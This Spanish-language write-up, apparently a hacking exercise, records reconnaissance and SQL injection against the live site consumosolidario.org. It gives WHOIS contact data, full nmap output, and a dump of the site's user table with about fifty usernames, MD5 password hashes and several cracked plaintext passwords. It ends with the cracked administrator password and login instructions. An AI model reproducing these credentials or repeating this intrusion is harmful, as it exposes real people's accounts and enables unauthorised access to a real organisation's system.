Inyección SQL – consumosolidario.org

1- Obtener información sobre el dominio *consumosolidario.org (46.16.58.97)*

Domain Name:CONSUMOSOLIDARIO.ORG
Domain ID: D26836047-LROR
Creation Date: 2000-05-11T11:55:31Z
Updated Date: 2014-03-10T07:46:49Z
Registry Expiry Date: 2015-05-11T11:55:31Z
Domain Status: ok
Registrant ID:CD126637564394
Registrant Name:Sodepaz Solidaridad Para el Desarrollo y la Paz
Registrant Organization:Sodepaz Solidaridad Para el Desarrollo y la Paz
Registrant Street: C/Palma 69
Registrant City:Madrid
Registrant State/Province:Madrid
Registrant Postal Code:28012
Registrant Phone:+34.915228091
Registrant Email:sodepaz@sodepaz.org
Admin ID:CD126637564477
Admin Name:Sodepaz Solidaridad Para el Desarrollo y la Paz
Admin Organization:Sodepaz Solidaridad Para el Desarrollo y la Paz
Admin Street: C/Palma 69
Admin City:Madrid
Admin State/Province:Madrid
Admin Postal Code:28012
Admin Country:ES
Admin Phone:+34.915228091
Admin Email:sodepaz@sodepaz.org
Tech ID:CD126637564429
Tech Name:Sodepaz Solidaridad Para el Desarrollo y la Paz
Tech Organization:Sodepaz Solidaridad Para el Desarrollo y la Paz
Tech Street: C/Palma 69
Tech City:Madrid
Tech State/Province:Madrid
Tech Postal Code:28012
Tech Country:ES
Tech Phone:+34.915228091
Tech Email:sodepaz@sodepaz.org
Name Server:NS1.CDMON.NET
Name Server:NS2.CDMON.NET
Name Server:NS3.CDMON.NET
DNSSEC:Unsigned

2- Obtener información detallada sobre los servidores (servicios, versiones.)

root@kal1:~# nmap -sS -sV -O 46.16.58.97

Starting Nmap 6.47 (http://nmap.org) at 2015-02-08 15:03 CET
Nmap scan report for vxadh-32.srv.cat (46.16.58.97)
Host is up (0.070s latency).
Not shown: 987 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd
110/tcp open pop3 Dovecot pop3d
113/tcp closed ident
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd
465/tcp closed smtps
587/tcp open smtp Postfix smtpd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
3306/tcp open mysql MySQL (unauthorized)
Aggressive OS guesses: Linux 2.6.23 - 2.6.38 (94%), Linux 2.6.32 (94%), DD-WRT v24-sp1 (Linux 2.4.36) (94%), HP P2000 G3 NAS device (93%), Linux 2.6.22 (93%), Linux 2.6.26 - 2.6.35 (92%), Linux 2.6.31 (91%), LG Smart TV 42LS570S (Linux 2.6) (91%), Linux 2.6.33 (D-Link DIR-645 WAP) (90%), DD-WRT v23 (Linux 2.4.37) (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Aquí podemos observar que el servidor tiene los siguientes puertos abiertos 21, 22, 25, 80, 110, 143, 443, 587, 993,995 y 3306

3- Lista de usuarios y contraseña del administrador del sitio

```
+----+----------------------------------------------+-----------------+-------------+
| id | passwd                                       | nombre          | tipoUsuaria |
+----+----------------------------------------------+-----------------+-------------+
| 1  | 62e10b260edb296e8d27b9a1eb3a95b9             | sodepazadmin    | admin       |
| 2  | d4f9a72b6f4e1f7c80997459e4986566             | sodepaz         | tienda      |
| 3  | 62e10b260edb296e8d27b9a1eb3a95b9             | paco            | admin       |
| 4  | d4f9a72b6f4e1f7c80997459e4986566             | sodepazlibreria | tienda      |
```

```
8.      | 5  | d4f9a72b6f4e1f7c80997459e4986566              | sodepazecologia | tienda      |
9.      | 6  | d4f9a72b6f4e1f7c80997459e4986566              | sodepazlocal    | tienda      |
10.     | 7  | 78e543e9be4f9768bed53333ce1013bc              | federica        | usuaria     |
11.     | 8  | 0414b3c711ef5722335cee093043ab44              | ludmila         | usuaria     |
12.     | 9  | 25fe8897815e21d48628fac01a2d699b              | luciadenk       | usuaria     |
13.     | 10 | 4de6ae3fa4a5fb243e8cf2c621be4a40              | MeuCariri       | usuaria     |
14.     | 11 | f3a609cf8ceaea65048f7b36590d405e              | pacolopez       | usuaria     |
15.     | 12 | 1a9805232ead77c48f02b4e9a9edc1bf              | clotilde        | usuaria     |
16.     | 13 | 4b2fb63731e470a4911460210170abaa (isabel)     | isabel          | usuaria     |
17.     | 14 | 198453f6a3b883f517b008f150f8df11              | LANUAL          | usuaria     |
18.     | 15 | 99938282f040718599 41e18f16efcf42 (select)    | select          | usuaria     |
19.     | 16 | e882b72bccfc2ad578c27b0d9b472a14 (pppppp)     | ppovedano       | usuaria     |
20.     | 17 | 4c99c2613f34ade186460016ddb81f5b (esterita)   | Garnet          | usuaria     |
21.     | 18 | 2b49d23458fdff0d74080da961659c1a              | tarancon        | usuaria     |
22.     | 19 | 9280039b2083a28d16e4c55e3fdf02bf              | elenamoldes     | usuaria     |
23.     | 20 | 0afa957510f7c7a07fbbab574c66a6ec (mirentxu)   | nineu84         | usuaria     |
24.     | 21 | 17d7cd52cd18e7bab99bb71de1669d95 (noelia)     | jaus1996        | usuaria     |
25.     | 22 | 17d7cd52cd18e7bab99bb71de1669d95 (noelia)     | jausmedina      | usuaria     |
26.     | 23 | 17d7cd52cd18e7bab99bb71de1669d95 (noelia)     | tonougar        | usuaria     |
27.     | 24 | e609d54d973edf399356156c21da6a23 (nounours)   | virolle         | usuaria     |
28.     | 25 | dec0fcd8d86c92ebfb4ebe17814dfb5e              | galbraith       | usuaria     |
29.     | 26 | 79905e8580b379ce5c7dc9152a705e00              | laurajimenez    | usuaria     |
30.     | 27 | 6209804952225ab3d14348307b5a4a27 (amanda)     | MarilÃ‡          | usuaria     |
31.     | 28 | 70766a01e95cb6d4c7e7620e73f2b50b              | loboroxo        | usuaria     |
32.     | 29 | c8bce41fa353d005ac5fe6a9017412a9              | marvac77        | usuaria     |
33.     | 30 | e12b3a2670cf84a229d0707664403054 (bryan12)    | sergiocafe      | usuaria     |
34.     | 31 | 82cce6e891710b8d7c0b0ae10a7cb9ef              | juanburgos      | usuaria     |
35.     | 32 | a3b0490f910c9ddc0f2793851e6907f1              | jmmartos        | usuaria     |
36.     | 33 | 3fef545502f9cacbbe217bc879c2531a              | ericvb69        | usuaria     |
37.     | 34 | 1c0f80489a235f430484c68dbaface67              | JBenito         | usuaria     |
38.     | 35 | a3ca7442012388565306a6d926ceaaad              | jackhank66      | usuaria     |
39.     | 36 | c1293893c9eba14fdc14f298dd7c1a6f (violeta)    | rosa_otero      | usuaria     |
40.     | 37 | e10adc3949ba59abbe56e057f20f883e (123456)     | pruebasod       | usuaria     |
41.     | 38 | 429b86c1476ac2c1b16bbf54c66ef98e              | sifer69         | usuaria     |
42.     | 39 | 818bd126263ebd7c234efbf9daa2267f              | chemape         | usuaria     |
43.     | 40 | 4b1477e2ccfe165cb768e132aa516e81              | jopisuda        | usuaria     |
44.     | 41 | 8bc9fd4b5365bae9587413e65c1b80dc              | xmunch          | usuaria     |
45.     | 42 | 38ff778d47bf74ebd65624faa18094ef              | IssÃ\xa474      | usuaria     |
46.     | 43 | d59bcb61da22b2ef78e4deb1450af5c8              | burgosa         | usuaria     |
47.     | 44 | 99281303f6eab9edf2ec9f7ffde1bbaa (cocina)     | hosteespecial   | usuaria     |
48.     | 45 | 7431cfb48afa334e3072a86cd3412cd6              | ferrandu        | usuaria     |
49.     | 46 | dd45a1fee7fac2fbed7041fe795f7323              | TheBonobo       | usuaria     |
50.     | 47 | fbe570f1619066d6257f18bccb5ba5ea              | alejopache      | usuaria
```

```
51.     | 48 | 7b41a19fdae77d94256fd12499a51ccc              | anaguis        | usuaria     |
52.     | 49 | b0b66fed881e5e4752a431a5bc99764b              | isabeldiaz     | usuaria     |
53.     | 50 | 8d40aa4debc609174e62a233fcae0d0d              | ivan009        | usuaria     |
54.     | 51 | e10adc3949ba59abbe56e057f20f883e (123456)     | davlor73       | usuaria     |
55.     | 52 | b324361e0d3bda4b2bd3f625b008e4a8 (mequiero)   | gatito07       | usuaria     |
56.     | 53 | 2db92c9b21d922ccf82d2c319883e2a3              | pepe07         | usuaria     |
```

Resumen

Para llevar a cabo el ejercicio 1, realice un ping a *consumosolidario.org* y obtuve la dirección IP para proceder con la parte 2 del ejercicio, acto seguido utilice la utilidad Web *whois.net* tras poner el nombre de dominio, al instante obtuve información de la 'victima' números de contacto, administradores, direcciones… y demás información de interés.

En la segunda parte del ejercicio utilice la herramienta nmap para observar que servicios y versiones del servidor estaban activadas, así que seleccioné los parámetros -sS -sV –O para obtener una conexión tcp, versiones de servicios y detectar el sistema operativo, la línea que utilice fue la siguiente : ***# nmap -sS -sV -O 46.16.58.97***

Para terminar el ejercicio, en el apartado 3, era necesario obtener la siguiente información, listado de usuarios y usuario y contraseña del administrador de consumosolidiario.org, procedí con la Inyección SQL, de la base de datos *consumosolidario* obtuvimos el listado de tablas, en la tabla *usuarias* supuse que la información necesaria se almacenaba allí así que extraje la información de las columnas passwd, nombre y tipoUsuaria obteniendo así la información requerida.

Esta es la información de la cuenta administrador del sitio Web

Passwd	**nombre**	**tipoUsuaria**
62e10b260edb296e8d27b9a1eb3a95b9	~~sodepazadmin~~	admin

La contraseña esta cifrada con un hash md5, recurrí a una utilidad Web que en tan solo dos segundos me descifro la contraseña obteniendo la clave de administrador valida.

Esta es la clave de administrador ***~~t091442~~***

Para acceder a la zona de administración ir a http://www.consumosolidario.org y en la zona de identificación introducir el usuario ***~~sodepazadmin~~*** y la contraseña ***~~t091442.~~***